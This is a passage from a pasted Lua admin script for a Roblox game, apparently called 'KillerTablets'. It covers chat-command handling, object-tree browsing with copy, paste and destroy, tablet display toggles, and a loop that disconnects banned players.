  876. for i, v in pairs(ns) do
  877. table.insert(get, v:GetPlayer().Name)
  878. end
  879. else
  880. table.insert(get, string.sub(m,6))
  881. end
  882. c = BrickColor.new("Really black")
  883. CreateNewTablets(get, c, Speakah)
  884. elseif msg == "commands"..Bet or msg == "cmds"..Bet then
  885. c = BrickColor.new("Really blue")
  886. a = {}
  887. for i, v in pairs(Commands) do
  888. table.insert(a, v[1])
  889. end
  890. CreateNewTablets(a, c, Speakah)
  891. elseif string.sub(msg, 1, 5) == "help"..Bet then
  892. if string.sub(msg, 6) ~= "" then
  893. c = BrickColor.random()
  894. for i, v in pairs(Commands) do
  895. if string.lower(string.sub(v[1], 1, string.len(string.sub(msg, 6)))) == string.sub(msg, 6) then
  896. CreateNewTablets(v, c)
  897. end
  898. end
  899. end
  900. elseif msg == "info"..Bet then
  901. a = {"KillerTablets loaded.", "Hello " .. Speakah.Name .. ".", "Made by Ultimatekiller010."," The bet key is " .. Bet, "Credit to stephen77,tusKOr661, and michael3709", "Version "..Version.." "}
  902. c = BrickColor.new("Really black")
  903. CreateNewTablets(a, c, Speakah)
  904. end
  905. elseif isExploring == true then
  906. if string.sub(msg, 1, 3) == "go"..Bet or string.sub(msg, 1, 3) == "in"..Bet then
  907. for i, v in pairs(Showing) do
  908. if string.find(string.lower(v.Name), string.sub(msg, 4)) ~= nil then
  909. opt = v
  910. Showing = {}
  911. a = {}
  912. for i1, v1 in pairs(opt:GetChildren()) do
  913. if v1.Name ~= user .. " - Tablets" then
  914. table.insert(Showing, v1)
  915. table.insert(a, v1.Name .. " [" .. v.className .. "]")
  916. end
  917. end
  918. c = BrickColor.new("Really black")
  919. CreateNewTablets(a, c, Speakah)
  920. end
  921. end
  922. elseif string.sub(msg, 1, 5) == "copy"..Bet then
  923. par = nil
  924. for i, v in pairs(Showing) do
  925. par = v.Parent
  926. if string.find(string.lower(v.Name), string.sub(msg, 6)) ~= nil then
  927. Obj = v:Clone()
  928. end
  929. end
  930. elseif msg == "paste"..Bet then
  931. if Obj ~= nil then
  932. par = nil
  933. for i, v in pairs(Showing) do
  934. par = v.Parent
  935. end
  936. Obj:Clone().Parent = par
  937. Admin("refresh"..Bet, nil)
  938. end
  939. elseif string.sub(msg, 1, 4) == "des"..Bet then
  940. par = nil
  941. for i, v in pairs(Showing) do
  942. par = v.Parent
  943. if string.find(string.lower(v.Name), string.sub(msg, 5)) ~= nil then
  944. v:Destroy()
  945. end
  946. end
  947. Admin("refresh"..Bet, nil)
  948. elseif msg == "refresh"..Bet then
  949. par = nil
  950. for i, v in pairs(Showing) do
  951. par = v.Parent
  952. if par ~= nil then
  953. break
  954. end
  955. end
  956. Showing = {}
  957. a = {}
  958. if par ~= nil then
  959. for i, v in pairs(par:GetChildren()) do
  960. if v.Name ~= user .. " - Tablets" then
  961. table.insert(Showing, v)
  962. table.insert(a, v.Name .. " [" .. v.className .. "]")
  963. end
  964. end
  965. end
  966. c = BrickColor.random()
  967. CreateNewTablets(a, c, Speakah)
  968. elseif msg == "parent"..Bet then
  969. par = nil
  970. for i, v in pairs(Showing) do
  971. par = v.Parent.Parent
  972. if par ~= nil then
  973. break
  974. end
  975. end
  976. Showing = {}
  977. a = {}
  978. for i, v in pairs(par:GetChildren()) do
  979. if v.Name ~= user .. " - Tablets" then
  980. table.insert(Showing, v)
  981. table.insert(a, v.Name .. " [" .. v.className .. "]")
  982. end
  983. end
  984. c = BrickColor.random()
  985. CreateNewTablets(a, c, Speakah)
  986. elseif msg == "exit"..Bet or msg == "quit"..Bet then
  987. isExploring = false
  988. Showing = {}
  989. Admin("dismiss"..Bet)
  990. end
  991. end
  992. if string.sub(msg, 1, 8) == "dismiss"..Bet then
  993. for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
  994. if v.Name == Speakah.Name .. " - Tablets" then
  995. v:Destroy()
  996. end
  997. end
  998. Tablets = {}
  999. elseif string.sub(msg, 1, 5) == "show"..Bet then
  1000. Delay(0, function()
  1001. for i = 100, 0, -5 do
  1002. for i1, v in pairs(GetTablets(Speakah)) do
  1003. if v.tablet ~= nil then
  1004. v.tablet.Transparency = i
  1005. v.tablet.SelectionBox.Transparency = i
  1006. end
  1007. end
  1008. wait(0.01)
  1009. end
  1010. for i, v in pairs(Tablets) do
  1011. if v.tablet ~= nil then
  1012. v.tablet.BillboardGui.TextLabel.Visible = true
  1013. end
  1014. end
  1015. end)
  1016. elseif string.sub(msg, 1, 5) == "hide"..Bet then
  1017. Delay(0, function()
  1018. for i = 0, 100, 5 do
  1019. for i1, v in pairs(GetTablets(Speakah)) do
  1020. if v.tablet ~= nil then
  1021. v.tablet.Transparency = i
  1022. v.tablet.SelectionBox.Transparency = i
  1023. end
  1024. end
  1025. wait(0.01)
  1026. end
  1027. for i, v in pairs(GetTablets(Speakah)) do
  1028. if v.tablet ~= nil then
  1029. v.tablet.BillboardGui.TextLabel.Visible = false
  1030. end
  1031. end
  1032. end)
  1033. end
  1034. end
  1035. end
  1036. Admin("info".. Bet, APlayer)
  1037. for _,Player in pairs(game.Players:GetPlayers()) do
  1038. Player.Chatted:connect(function(msg) ChatForIllegal(msg,Player) end)
  1039. if isAdmin(Player) then
  1040. Admin("info".. Bet, Player)
  1041. Player.Chatted:connect(function(msg) Admin(msg, Player) end)
  1042. end
  1043. end
  1044. game.Players.PlayerAdded:connect(function(Player)
  1045. Player.Chatted:connect(function(msg) ChatForIllegal(msg,Player) end)
  1046. if Player:LoadInstance(CurrentDPBan) == nil then
  1047. local DPBan = Instance.new('Model',Player)
  1048. DPBan.Name = 'SaveInstance()'
  1049. Player:SaveInstance(DPBan,CurrentDPBan)
  1050. end
  1051. end)
  1052. APlayer.Chatted:connect(function(msg) Admin(msg, APlayer) end)
  1053. game:GetService("Players").PlayerAdded:connect(function(p) PlayerAdd(p) end)
  1054. for _,Player in pairs(game.Players:GetPlayers()) do
  1055. PlayerAdd(Player)
  1056. end
  1057.  
  1058. game.Players.PlayerAdded:connect(function(v)
  1059. if IsBanned(v) then
  1060. local crash = Instance.new("StringValue",workspace)
  1061. crash.Name = "Disconnect : "..v.Name
  1062. wait(2)
  1063. if crash ~= nil then
  1064. crash:Destroy()
  1065. end
  1066. end
  1067. end)
  1068.  
  1069. while wait() do
  1070. for _, v in pairs(game.Players:GetChildren()) do
  1071. if IsBanned(v) then
  1072. local crash = Instance.new("StringValue",workspace)
  1073. crash.Name = "Disconnect : "..v.Name
  1074. wait(2)
  1075. if crash ~= nil then
  1076. crash:Destroy()
  1077. end
  1078. end
  1079. end
  1080. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement